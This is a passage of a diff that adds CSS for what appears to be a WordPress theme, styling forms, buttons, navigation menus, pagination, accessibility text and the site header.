+  max-width: 100%;
+  position: relative;
+}
+
+figure {
+  margin: 0;
+}
+
+blockquote {
+  border-left: 2px solid #0073aa;
+  margin-left: 0;
+  padding: 0 0 0 1rem;
+}
+
+blockquote > p {
+  margin: 0 0 1rem;
+}
+
+blockquote cite {
+  color: #767676;
+}
+
+table {
+  margin: 0 0 1rem;
+  border-collapse: collapse;
+  width: 100%;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+}
+
+table td,
+table th {
+  padding: 0.5em;
+  border: 1px solid #767676;
+  word-break: break-all;
+}
+
+/* Forms */
+.button,
+button,
+input[type="button"],
+input[type="reset"],
+input[type="submit"] {
+  transition: background 150ms ease-in-out;
+  background: #0073aa;
+  border: none;
+  border-radius: 5px;
+  box-sizing: border-box;
+  color: #fff;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: 0.88889em;
+  font-weight: 700;
+  line-height: 1.2;
+  outline: none;
+  padding: 0.76rem 1rem;
+  text-decoration: none;
+  vertical-align: bottom;
+}
+
+.button:hover,
+button:hover,
+input[type="button"]:hover,
+input[type="reset"]:hover,
+input[type="submit"]:hover {
+  background: #111;
+  cursor: pointer;
+}
+
+.button:visited,
+button:visited,
+input[type="button"]:visited,
+input[type="reset"]:visited,
+input[type="submit"]:visited {
+  color: #fff;
+  text-decoration: none;
+}
+
+.button:focus,
+button:focus,
+input[type="button"]:focus,
+input[type="reset"]:focus,
+input[type="submit"]:focus {
+  background: #111;
+  outline: thin dotted;
+  outline-offset: -4px;
+}
+
+input[type="text"],
+input[type="email"],
+input[type="url"],
+input[type="password"],
+input[type="search"],
+input[type="number"],
+input[type="tel"],
+input[type="range"],
+input[type="date"],
+input[type="month"],
+input[type="week"],
+input[type="time"],
+input[type="datetime"],
+input[type="datetime-local"],
+input[type="color"],
+textarea {
+  -webkit-backface-visibility: hidden;
+  background: #fff;
+  border: solid 1px #ccc;
+  box-sizing: border-box;
+  outline: none;
+  padding: 0.36rem 0.66rem;
+  -webkit-appearance: none;
+  outline-offset: 0;
+  border-radius: 0;
+}
+
+input[type="text"]:focus,
+input[type="email"]:focus,
+input[type="url"]:focus,
+input[type="password"]:focus,
+input[type="search"]:focus,
+input[type="number"]:focus,
+input[type="tel"]:focus,
+input[type="range"]:focus,
+input[type="date"]:focus,
+input[type="month"]:focus,
+input[type="week"]:focus,
+input[type="time"]:focus,
+input[type="datetime"]:focus,
+input[type="datetime-local"]:focus,
+input[type="color"]:focus,
+textarea:focus {
+  border-color: #0073aa;
+  outline: thin solid rgba(0, 115, 170, 0.15);
+  outline-offset: -4px;
+}
+
+input[type="search"]::-webkit-search-decoration {
+  display: none;
+}
+
+textarea {
+  box-sizing: border-box;
+  display: block;
+  width: 100%;
+  max-width: 100%;
+  resize: vertical;
+}
+
+form p {
+  margin: 1rem 0;
+}
+
+/* Navigation */
+/*--------------------------------------------------------------
+## Links
+--------------------------------------------------------------*/
+a {
+  transition: color 110ms ease-in-out;
+  color: #0073aa;
+}
+
+a:visited {
+  color: #0073aa;
+}
+
+a:hover, a:active {
+  color: #005177;
+  outline: 0;
+  text-decoration: none;
+}
+
+a:focus {
+  outline: thin dotted;
+  text-decoration: underline;
+}
+
+/*--------------------------------------------------------------
+## Menus
+--------------------------------------------------------------*/
+/** === Main menu === */
+.main-navigation {
+  display: block;
+  margin-top: 0.25rem;
+  /* Un-style buttons */
+  /*
+	 * Sub-menu styles
+	 *
+	 * :focus-within needs its own selector so other similar
+	 * selectors don’t get ignored if a browser doesn’t recognize it
+	 */
+  /**
+	 * Fade-in animation for top-level submenus
+	 */
+  /**
+	 * Off-canvas touch device styles
+	 */
+}
+
+body.page .main-navigation {
+  display: block;
+}
+
+.main-navigation > div {
+  display: inline;
+}
+
+.main-navigation button {
+  display: inline-block;
+  border: none;
+  padding: 0;
+  margin: 0;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-weight: 700;
+  line-height: 1.2;
+  text-decoration: none;
+  background: transparent;
+  color: inherit;
+  cursor: pointer;
+  transition: background 250ms ease-in-out, transform 150ms ease;
+  -webkit-appearance: none;
+  -moz-appearance: none;
+}
+
+.main-navigation button:hover, .main-navigation button:focus {
+  background: transparent;
+}
+
+.main-navigation button:focus {
+  outline: 1px solid transparent;
+  outline-offset: -4px;
+}
+
+.main-navigation button:active {
+  transform: scale(0.99);
+}
+
+.main-navigation .main-menu {
+  display: inline-block;
+  margin: 0;
+  padding: 0;
+}
+
+.main-navigation .main-menu > li {
+  color: #0073aa;
+  display: inline;
+  position: relative;
+}
+
+.main-navigation .main-menu > li > a {
+  font-weight: 700;
+  color: #0073aa;
+  margin-right: 0.5rem;
+}
+
+.main-navigation .main-menu > li > a + svg {
+  margin-right: 0.5rem;
+}
+
+.main-navigation .main-menu > li > a:hover,
+.main-navigation .main-menu > li > a:hover + svg {
+  color: #005177;
+}
+
+.main-navigation .main-menu > li.menu-item-has-children {
+  display: inline-block;
+  position: inherit;
+}
+
+@media only screen and (min-width: 768px) {
+  .main-navigation .main-menu > li.menu-item-has-children {
+    position: relative;
+  }
+}
+
+.main-navigation .main-menu > li.menu-item-has-children > a {
+  margin-right: 0.125rem;
+}
+
+.main-navigation .main-menu > li.menu-item-has-children > a:after,
+.main-navigation .main-menu > li.menu-item-has-children .menu-item-has-children > a:after {
+  content: "";
+  display: none;
+}
+
+.main-navigation .main-menu > li.menu-item-has-children .submenu-expand {
+  display: inline-block;
+  margin-right: 0.25rem;
+  /* Priority+ Menu */
+}
+
+.main-navigation .main-menu > li.menu-item-has-children .submenu-expand.main-menu-more-toggle {
+  position: relative;
+  height: 24px;
+  line-height: 1.2;
+  width: 24px;
+  padding: 0;
+  margin-left: 0.5rem;
+}
+
+.main-navigation .main-menu > li.menu-item-has-children .submenu-expand.main-menu-more-toggle svg {
+  height: 24px;
+  width: 24px;
+  top: -0.125rem;
+  vertical-align: text-bottom;
+}
+
+.wp-customizer-unloading .main-navigation .main-menu > li.menu-item-has-children .submenu-expand, .main-navigation .main-menu > li.menu-item-has-children .submenu-expand.is-empty {
+  display: none;
+}
+
+.main-navigation .main-menu > li.menu-item-has-children .submenu-expand svg {
+  position: relative;
+  top: 0.2rem;
+}
+
+.main-navigation .main-menu > li:last-child > a,
+.main-navigation .main-menu > li:last-child.menu-item-has-children .submenu-expand {
+  margin-right: 0;
+}
+
+.main-navigation .sub-menu {
+  background-color: #0073aa;
+  color: #fff;
+  list-style: none;
+  padding-left: 0;
+  position: absolute;
+  opacity: 0;
+  left: -9999px;
+  z-index: 99999;
+}
+
+@media only screen and (min-width: 768px) {
+  .main-navigation .sub-menu {
+    width: auto;
+    min-width: -moz-max-content;
+    min-width: -webkit-max-content;
+    min-width: max-content;
+  }
+}
+
+.main-navigation .sub-menu > li {
+  display: block;
+  float: none;
+  position: relative;
+}
+
+.main-navigation .sub-menu > li.menu-item-has-children .submenu-expand {
+  display: inline-block;
+  position: absolute;
+  width: calc( 24px + 1rem);
+  right: 0;
+  top: calc( .125 * 1rem);
+  bottom: 0;
+  color: white;
+  line-height: 1;
+  padding: calc( .5 * 1rem);
+}
+
+.main-navigation .sub-menu > li.menu-item-has-children .submenu-expand svg {
+  top: 0;
+}
+
+.main-navigation .sub-menu > li.menu-item-has-children .submenu-expand {
+  margin-right: 0;
+}
+
+@media only screen and (min-width: 768px) {
+  .main-navigation .sub-menu > li.menu-item-has-children .menu-item-has-children > a:after {
+    content: "\203a";
+  }
+}
+
+.main-navigation .sub-menu > li > a,
+.main-navigation .sub-menu > li > .menu-item-link-return {
+  color: #fff;
+  display: block;
+  line-height: 1.2;
+  text-shadow: none;
+  padding: calc( .5 * 1rem) calc( 24px + 1rem) calc( .5 * 1rem) 1rem;
+  white-space: nowrap;
+}
+
+.main-navigation .sub-menu > li > a:hover, .main-navigation .sub-menu > li > a:focus,
+.main-navigation .sub-menu > li > .menu-item-link-return:hover,
+.main-navigation .sub-menu > li > .menu-item-link-return:focus {
+  background: #005177;
+}
+
+.main-navigation .sub-menu > li > a:hover:after, .main-navigation .sub-menu > li > a:focus:after,
+.main-navigation .sub-menu > li > .menu-item-link-return:hover:after,
+.main-navigation .sub-menu > li > .menu-item-link-return:focus:after {
+  background: #005177;
+}
+
+.main-navigation .sub-menu > li > .menu-item-link-return {
+  width: 100%;
+  font-size: 22px;
+  font-weight: normal;
+  text-align: left;
+}
+
+.main-navigation .sub-menu > li > a:empty {
+  display: none;
+}
+
+.main-navigation .sub-menu > li.mobile-parent-nav-menu-item {
+  display: none;
+  font-size: 0.88889em;
+  font-weight: normal;
+}
+
+.main-navigation .sub-menu > li.mobile-parent-nav-menu-item svg {
+  position: relative;
+  top: 0.2rem;
+  margin-right: calc( .25 * 1rem);
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas)[focus-within] > .sub-menu {
+  display: block;
+  left: 0;
+  margin-top: 0;
+  opacity: 1;
+  width: auto;
+  min-width: 100%;
+  /* Non-mobile position */
+  /* Nested sub-menu dashes */
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus-within > .sub-menu {
+  display: block;
+  left: 0;
+  margin-top: 0;
+  opacity: 1;
+  width: auto;
+  min-width: 100%;
+  /* Non-mobile position */
+  /* Nested sub-menu dashes */
+}
+
+@media only screen and (min-width: 768px) {
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas)[focus-within] > .sub-menu {
+    display: block;
+    margin-top: 0;
+    opacity: 1;
+    position: absolute;
+    left: 0;
+    right: auto;
+    top: auto;
+    bottom: auto;
+    height: auto;
+    min-width: -moz-max-content;
+    min-width: -webkit-max-content;
+    min-width: max-content;
+    transform: none;
+  }
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus-within > .sub-menu {
+    display: block;
+    margin-top: 0;
+    opacity: 1;
+    position: absolute;
+    left: 0;
+    right: auto;
+    top: auto;
+    bottom: auto;
+    height: auto;
+    min-width: -moz-max-content;
+    min-width: -webkit-max-content;
+    min-width: max-content;
+    transform: none;
+  }
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas)[focus-within] > .sub-menu.hidden-links {
+  left: 0;
+  width: 100%;
+  display: table;
+  position: absolute;
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus-within > .sub-menu.hidden-links {
+  left: 0;
+  width: 100%;
+  display: table;
+  position: absolute;
+}
+
+@media only screen and (min-width: 768px) {
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas)[focus-within] > .sub-menu.hidden-links {
+    right: 0;
+    left: auto;
+    display: block;
+    width: max-content;
+  }
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus-within > .sub-menu.hidden-links {
+    right: 0;
+    left: auto;
+    display: block;
+    width: max-content;
+  }
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas)[focus-within] > .sub-menu .submenu-expand {
+  display: none;
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus-within > .sub-menu .submenu-expand {
+  display: none;
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas)[focus-within] > .sub-menu .sub-menu {
+  display: block;
+  margin-top: inherit;
+  position: relative;
+  width: 100%;
+  left: 0;
+  opacity: 1;
+  /* Non-mobile position */
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus-within > .sub-menu .sub-menu {
+  display: block;
+  margin-top: inherit;
+  position: relative;
+  width: 100%;
+  left: 0;
+  opacity: 1;
+  /* Non-mobile position */
+}
+
+@media only screen and (min-width: 768px) {
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas)[focus-within] > .sub-menu .sub-menu {
+    float: none;
+    max-width: 100%;
+  }
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus-within > .sub-menu .sub-menu {
+    float: none;
+    max-width: 100%;
+  }
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas)[focus-within] > .sub-menu .sub-menu {
+  counter-reset: submenu;
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus-within > .sub-menu .sub-menu {
+  counter-reset: submenu;
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas)[focus-within] > .sub-menu .sub-menu > li > a::before {
+  font-family: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
+  font-weight: normal;
+  content: "– " counters(submenu, "– ", none);
+  counter-increment: submenu;
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus-within > .sub-menu .sub-menu > li > a::before {
+  font-family: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
+  font-weight: normal;
+  content: "– " counters(submenu, "– ", none);
+  counter-increment: submenu;
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):hover > .sub-menu,
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus > .sub-menu,
+.main-navigation .main-menu .menu-item-has-children.is-focused:not(.off-canvas) > .sub-menu {
+  display: block;
+  left: 0;
+  margin-top: 0;
+  opacity: 1;
+  width: auto;
+  min-width: 100%;
+  /* Non-mobile position */
+  /* Nested sub-menu dashes */
+}
+
+@media only screen and (min-width: 768px) {
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas):hover > .sub-menu,
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus > .sub-menu,
+  .main-navigation .main-menu .menu-item-has-children.is-focused:not(.off-canvas) > .sub-menu {
+    display: block;
+    float: none;
+    margin-top: 0;
+    opacity: 1;
+    position: absolute;
+    left: 0;
+    right: auto;
+    top: auto;
+    bottom: auto;
+    height: auto;
+    min-width: -moz-max-content;
+    min-width: -webkit-max-content;
+    min-width: max-content;
+    transform: none;
+  }
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):hover > .sub-menu.hidden-links,
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus > .sub-menu.hidden-links,
+.main-navigation .main-menu .menu-item-has-children.is-focused:not(.off-canvas) > .sub-menu.hidden-links {
+  left: 0;
+  width: 100%;
+  display: table;
+  position: absolute;
+}
+
+@media only screen and (min-width: 768px) {
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas):hover > .sub-menu.hidden-links,
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus > .sub-menu.hidden-links,
+  .main-navigation .main-menu .menu-item-has-children.is-focused:not(.off-canvas) > .sub-menu.hidden-links {
+    right: 0;
+    left: auto;
+    display: table;
+    width: max-content;
+  }
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):hover > .sub-menu .submenu-expand,
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus > .sub-menu .submenu-expand,
+.main-navigation .main-menu .menu-item-has-children.is-focused:not(.off-canvas) > .sub-menu .submenu-expand {
+  display: none;
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):hover > .sub-menu .sub-menu,
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus > .sub-menu .sub-menu,
+.main-navigation .main-menu .menu-item-has-children.is-focused:not(.off-canvas) > .sub-menu .sub-menu {
+  display: block;
+  margin-top: inherit;
+  position: relative;
+  width: 100%;
+  left: 0;
+  opacity: 1;
+  /* Non-mobile position */
+}
+
+@media only screen and (min-width: 768px) {
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas):hover > .sub-menu .sub-menu,
+  .main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus > .sub-menu .sub-menu,
+  .main-navigation .main-menu .menu-item-has-children.is-focused:not(.off-canvas) > .sub-menu .sub-menu {
+    float: none;
+    max-width: 100%;
+  }
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):hover > .sub-menu .sub-menu,
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus > .sub-menu .sub-menu,
+.main-navigation .main-menu .menu-item-has-children.is-focused:not(.off-canvas) > .sub-menu .sub-menu {
+  counter-reset: submenu;
+}
+
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):hover > .sub-menu .sub-menu > li > a::before,
+.main-navigation .main-menu .menu-item-has-children:not(.off-canvas):focus > .sub-menu .sub-menu > li > a::before,
+.main-navigation .main-menu .menu-item-has-children.is-focused:not(.off-canvas) > .sub-menu .sub-menu > li > a::before {
+  font-family: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
+  font-weight: normal;
+  content: "– " counters(submenu, "– ", none);
+  counter-increment: submenu;
+}
+
+.main-navigation .main-menu > .menu-item-has-children:not(.off-canvas):hover > .sub-menu {
+  animation: fade_in 0.1s forwards;
+}
+
+.main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu .submenu-expand .svg-icon {
+  transform: rotate(270deg);
+}
+
+.main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu .sub-menu {
+  opacity: 0;
+  position: absolute;
+  z-index: 0;
+  transform: translateX(-100%);
+}
+
+.main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu li:hover,
+.main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu li:focus,
+.main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu li > a:hover,
+.main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu li > a:focus {
+  background-color: transparent;
+}
+
+.main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu > li > a,
+.main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu > li > .menu-item-link-return {
+  white-space: inherit;
+}
+
+.main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu.expanded-true {
+  display: table;
+  margin-top: 0;
+  opacity: 1;
+  padding-left: 0;
+  /* Mobile position */
+  left: 0;
+  top: 0;
+  right: 0;
+  bottom: 0;
+  position: fixed;
+  z-index: 100000;
+  /* Make sure appears above mobile admin bar */
+  width: 100vw;
+  height: 100vh;
+  max-width: 100vw;
+  transform: translateX(100%);
+  animation: slide_in_right 0.3s forwards;
+  /* Prevent menu from being blocked by admin bar */
+}
+
+.main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu.expanded-true > .mobile-parent-nav-menu-item {
+  display: block;
+}
+
+.admin-bar .main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu.expanded-true {
+  top: 46px;
+  height: calc( 100vh - 46px);
+  /* WP core breakpoint */
+}
+
+.admin-bar .main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu.expanded-true .sub-menu.expanded-true {
+  top: 0;
+}
+
+@media only screen and (min-width: 782px) {
+  .admin-bar .main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu.expanded-true {
+    top: 32px;
+    height: calc( 100vh - 32px);
+  }
+  .admin-bar .main-navigation .main-menu .menu-item-has-children.off-canvas .sub-menu.expanded-true .sub-menu.expanded-true {
+    top: 0;
+  }
+}
+
+.main-navigation .main-menu-more:nth-child(n+3) {
+  display: none;
+}
+
+/* Menu animation */
+@keyframes slide_in_right {
+  100% {
+    transform: translateX(0%);
+  }
+}
+
+@keyframes fade_in {
+  from {
+    opacity: 0;
+  }
+  to {
+    opacity: 1;
+  }
+}
+
+/* Social menu */
+.social-navigation {
+  margin-top: calc(1rem / 2);
+  text-align: left;
+}
+
+.social-navigation ul.social-links-menu {
+  content: "";
+  display: table;
+  table-layout: fixed;
+  display: inline-block;
+  margin: 0;
+  padding: 0;
+}
+
+.social-navigation ul.social-links-menu li {
+  display: inline-block;
+  vertical-align: bottom;
+  vertical-align: -webkit-baseline-middle;
+  list-style: none;
+}
+
+.social-navigation ul.social-links-menu li:nth-child(n+2) {
+  margin-left: 0.1em;
+}
+
+.social-navigation ul.social-links-menu li a {
+  border-bottom: 1px solid transparent;
+  display: block;
+  color: #111;
+  margin-bottom: -1px;
+  transition: opacity 110ms ease-in-out;
+}
+
+.social-navigation ul.social-links-menu li a:hover, .social-navigation ul.social-links-menu li a:active {
+  color: #111;
+  opacity: 0.6;
+}
+
+.social-navigation ul.social-links-menu li a:focus {
+  color: #111;
+  opacity: 1;
+  border-bottom: 1px solid #111;
+}
+
+.social-navigation ul.social-links-menu li a svg {
+  display: block;
+  width: 32px;
+  height: 32px;
+  transform: translateZ(0);
+}
+
+.social-navigation ul.social-links-menu li a svg#ui-icon-link {
+  transform: rotate(-45deg);
+}
+
+@media only screen and (min-width: 768px) {
+  .site-title + .social-navigation,
+  .site-description + .social-navigation {
+    margin-top: calc(1rem / 5);
+  }
+}
+
+/** === Footer menu === */
+.footer-navigation {
+  display: inline;
+}
+
+.footer-navigation > div {
+  display: inline;
+}
+
+.footer-navigation .footer-menu {
+  display: inline;
+  padding-left: 0;
+}
+
+.footer-navigation .footer-menu li {
+  display: inline;
+  margin-right: 1rem;
+}
+
+/*--------------------------------------------------------------
+## Next / Previous
+--------------------------------------------------------------*/
+/* Next/Previous navigation */
+.post-navigation {
+  margin: calc(3 * 1rem) 0;
+}
+
+@media only screen and (min-width: 768px) {
+  .post-navigation {
+    margin: calc(3 * 1rem) calc(10% + 60px);
+    max-width: calc(6 * (100vw / 12));
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .post-navigation {
+    margin: calc(3 * 1rem) 0;
+    max-width: 100%;
+  }
+}
+
+.post-navigation .nav-links {
+  margin: 0 1rem;
+  max-width: 100%;
+  display: flex;
+  flex-direction: column;
+}
+
+@media only screen and (min-width: 768px) {
+  .post-navigation .nav-links {
+    margin: 0;
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .post-navigation .nav-links {
+    flex-direction: row;
+    margin: 0 calc(10% + 60px);
+    max-width: calc(6 * (100vw / 12) - 28px);
+  }
+}
+
+.post-navigation .nav-links a .meta-nav {
+  color: #767676;
+  user-select: none;
+}
+
+.post-navigation .nav-links a .meta-nav:before, .post-navigation .nav-links a .meta-nav:after {
+  display: none;
+  content: "—";
+  width: 2em;
+  color: #767676;
+  height: 1em;
+}
+
+.post-navigation .nav-links a .post-title {
+  hyphens: auto;
+}
+
+.post-navigation .nav-links a:hover {
+  color: #005177;
+}
+
+@media only screen and (min-width: 1168px) {
+  .post-navigation .nav-links .nav-previous,
+  .post-navigation .nav-links .nav-next {
+    min-width: calc(50% - 2 * 1rem);
+  }
+}
+
+.post-navigation .nav-links .nav-previous {
+  order: 2;
+}
+
+@media only screen and (min-width: 1168px) {
+  .post-navigation .nav-links .nav-previous {
+    order: 1;
+  }
+}
+
+.post-navigation .nav-links .nav-previous + .nav-next {
+  margin-bottom: 1rem;
+}
+
+.post-navigation .nav-links .nav-previous .meta-nav:before {
+  display: inline;
+}
+
+.post-navigation .nav-links .nav-next {
+  order: 1;
+}
+
+@media only screen and (min-width: 1168px) {
+  .post-navigation .nav-links .nav-next {
+    order: 2;
+    padding-left: 1rem;
+  }
+}
+
+.post-navigation .nav-links .nav-next .meta-nav:after {
+  display: inline;
+}
+
+.pagination .nav-links {
+  display: flex;
+  flex-wrap: wrap;
+  padding: 0 calc(.5 * 1rem);
+}
+
+.pagination .nav-links > * {
+  padding: calc(.5 * 1rem);
+}
+
+.pagination .nav-links > *.dots, .pagination .nav-links > *.prev {
+  padding-left: 0;
+}
+
+.pagination .nav-links > *.dots, .pagination .nav-links > *.next {
+  padding-right: 0;
+}
+
+.pagination .nav-links a:focus {
+  text-decoration: underline;
+  outline-offset: -1px;
+}
+
+.pagination .nav-links a:focus.prev, .pagination .nav-links a:focus.next {
+  text-decoration: none;
+}
+
+.pagination .nav-links a:focus.prev .nav-prev-text,
+.pagination .nav-links a:focus.prev .nav-next-text, .pagination .nav-links a:focus.next .nav-prev-text,
+.pagination .nav-links a:focus.next .nav-next-text {
+  text-decoration: underline;
+}
+
+.pagination .nav-links .nav-next-text,
+.pagination .nav-links .nav-prev-text {
+  display: none;
+}
+
+@media only screen and (min-width: 768px) {
+  .pagination .nav-links {
+    margin-left: calc(10% + 60px);
+    padding: 0;
+  }
+  .pagination .nav-links .prev > *,
+  .pagination .nav-links .next > * {
+    display: inline-block;
+    vertical-align: text-bottom;
+  }
+  .pagination .nav-links > * {
+    padding: 1rem;
+  }
+}
+
+.comment-navigation .nav-links {
+  display: flex;
+  flex-direction: row;
+}
+
+.comment-navigation .nav-previous,
+.comment-navigation .nav-next {
+  min-width: 50%;
+  width: 100%;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-weight: bold;
+}
+
+.comment-navigation .nav-previous .secondary-text,
+.comment-navigation .nav-next .secondary-text {
+  display: none;
+}
+
+@media only screen and (min-width: 768px) {
+  .comment-navigation .nav-previous .secondary-text,
+  .comment-navigation .nav-next .secondary-text {
+    display: inline;
+  }
+}
+
+.comment-navigation .nav-previous svg,
+.comment-navigation .nav-next svg {
+  vertical-align: middle;
+  position: relative;
+  margin: 0 -0.35em;
+  top: -1px;
+}
+
+.comment-navigation .nav-next {
+  text-align: right;
+}
+
+/* Accessibility */
+/* Text meant only for screen readers. */
+.screen-reader-text {
+  border: 0;
+  clip: rect(1px, 1px, 1px, 1px);
+  clip-path: inset(50%);
+  height: 1px;
+  margin: -1px;
+  overflow: hidden;
+  padding: 0;
+  position: absolute !important;
+  width: 1px;
+  word-wrap: normal !important;
+  /* Many screen reader and browser combinations announce broken words as they would appear visually. */
+}
+
+.screen-reader-text:focus {
+  background-color: #f1f1f1;
+  border-radius: 3px;
+  box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
+  clip: auto !important;
+  clip-path: none;
+  color: #21759b;
+  display: block;
+  font-size: 14px;
+  font-size: 0.875rem;
+  font-weight: bold;
+  height: auto;
+  left: 5px;
+  line-height: normal;
+  padding: 15px 23px 14px;
+  text-decoration: none;
+  top: 5px;
+  width: auto;
+  z-index: 100000;
+  /* Above WP toolbar. */
+}
+
+/* Do not show the outline on the skip link target. */
+#content[tabindex="-1"]:focus {
+  outline: 0;
+}
+
+/* Alignments */
+.alignleft {
+  /*rtl:ignore*/
+  float: left;
+  /*rtl:ignore*/
+  margin-right: 1rem;
+}
+
+@media only screen and (min-width: 768px) {
+  .alignleft {
+    /*rtl:ignore*/
+    margin-right: calc(2 * 1rem);
+  }
+}
+
+.alignright {
+  /*rtl:ignore*/
+  float: right;
+  /*rtl:ignore*/
+  margin-left: 1rem;
+}
+
+@media only screen and (min-width: 768px) {
+  .alignright {
+    /*rtl:ignore*/
+    margin-left: calc(2 * 1rem);
+  }
+}
+
+.aligncenter {
+  clear: both;
+  display: block;
+  margin-left: auto;
+  margin-right: auto;
+}
+
+/* Clearings */
+.clear:before,
+.clear:after,
+.entry-content:before,
+.entry-content:after,
+.comment-content:before,
+.comment-content:after,
+.site-header:before,
+.site-header:after,
+.site-content:before,
+.site-content:after,
+.site-footer:before,
+.site-footer:after {
+  content: "";
+  display: table;
+  table-layout: fixed;
+}
+
+.clear:after,
+.entry-content:after,
+.comment-content:after,
+.site-header:after,
+.site-content:after,
+.site-footer:after {
+  clear: both;
+}
+
+/* Layout */
+/** === Layout === */
+#page {
+  width: 100%;
+}
+
+.site-content {
+  overflow: hidden;
+}
+
+/* Content */
+/*--------------------------------------------------------------
+## Header
+--------------------------------------------------------------*/
+.site-header {
+  padding: 1em;
+}
+
+.site-header.featured-image {
+  display: flex;
+  flex-direction: column;
+  justify-content: space-between;
+  min-height: 90vh;
+}
+
+.site-header.featured-image .site-branding-container {
+  margin-bottom: auto;
+}
+
+@media only screen and (min-width: 768px) {
+  .site-header {
+    margin: 0;
+    padding: 3rem 0;
+  }
+  .site-header.featured-image {
+    min-height: 100vh;
+    margin-bottom: 3rem;
+  }
+}
+
+.site-branding {
+  color: #767676;
+  position: relative;
+}
+
+@media only screen and (min-width: 768px) {
+  .site-branding {
+    margin: 0 calc(10% + 60px);
+  }
+}
+
+.site-logo {
+  position: relative;
+  z-index: 999;
+  margin-bottom: calc(.66 * 1rem);
+}
+
+@media only screen and (min-width: 768px) {
+  .site-logo {
+    margin-bottom: 0;
+    position: absolute;
+    right: calc(100% + (1.25 * 1rem));
+    top: 4px;
+    z-index: 999;
+  }
+}
+
+.site-logo .custom-logo-link {
+  border-radius: 100%;
+  box-sizing: content-box;
+  box-shadow: 0 0 0 0 rgba(0, 0, 0, 0);
+  display: block;
+  width: 50px;
+  height: 50px;
+  overflow: hidden;
+  transition: box-shadow 200ms ease-in-out;
+}
+
+.site-logo .custom-logo-link .custom-logo {
+  min-height: inherit;
+}
+
+.site-logo .custom-logo-link:hover, .site-logo .custom-logo-link:active, .site-logo .custom-logo-link:focus {
+  box-shadow: 0 0 0 2px black;
+}
+
+@media only screen and (min-width: 768px) {
+  .site-logo .custom-logo-link {
+    width: 64px;
+    height: 64px;
+  }
+}
+
+.site-title {
+  margin: auto;
+  display: inline;
+  color: #111;
+  /* When there is no description set, make sure navigation appears below title. */
+}
+
+.site-title a {
+  color: #111;
+}
+
+.site-title a:link, .site-title a:visited {
+  color: #111;
+}
+
+.site-title a:hover {
+  color: #4a4a4a;
+}
+
+.featured-image .site-title {
+  margin: 0;
+}
+
+@media only screen and (min-width: 768px) {
+  .featured-image .site-title {
+    display: inline-block;
+  }
+}
+
+.site-title + .main-navigation {
+  display: block;
+}
+
+@media only screen and (min-width: 768px) {
+  .site-title {
+    display: inline;
+  }
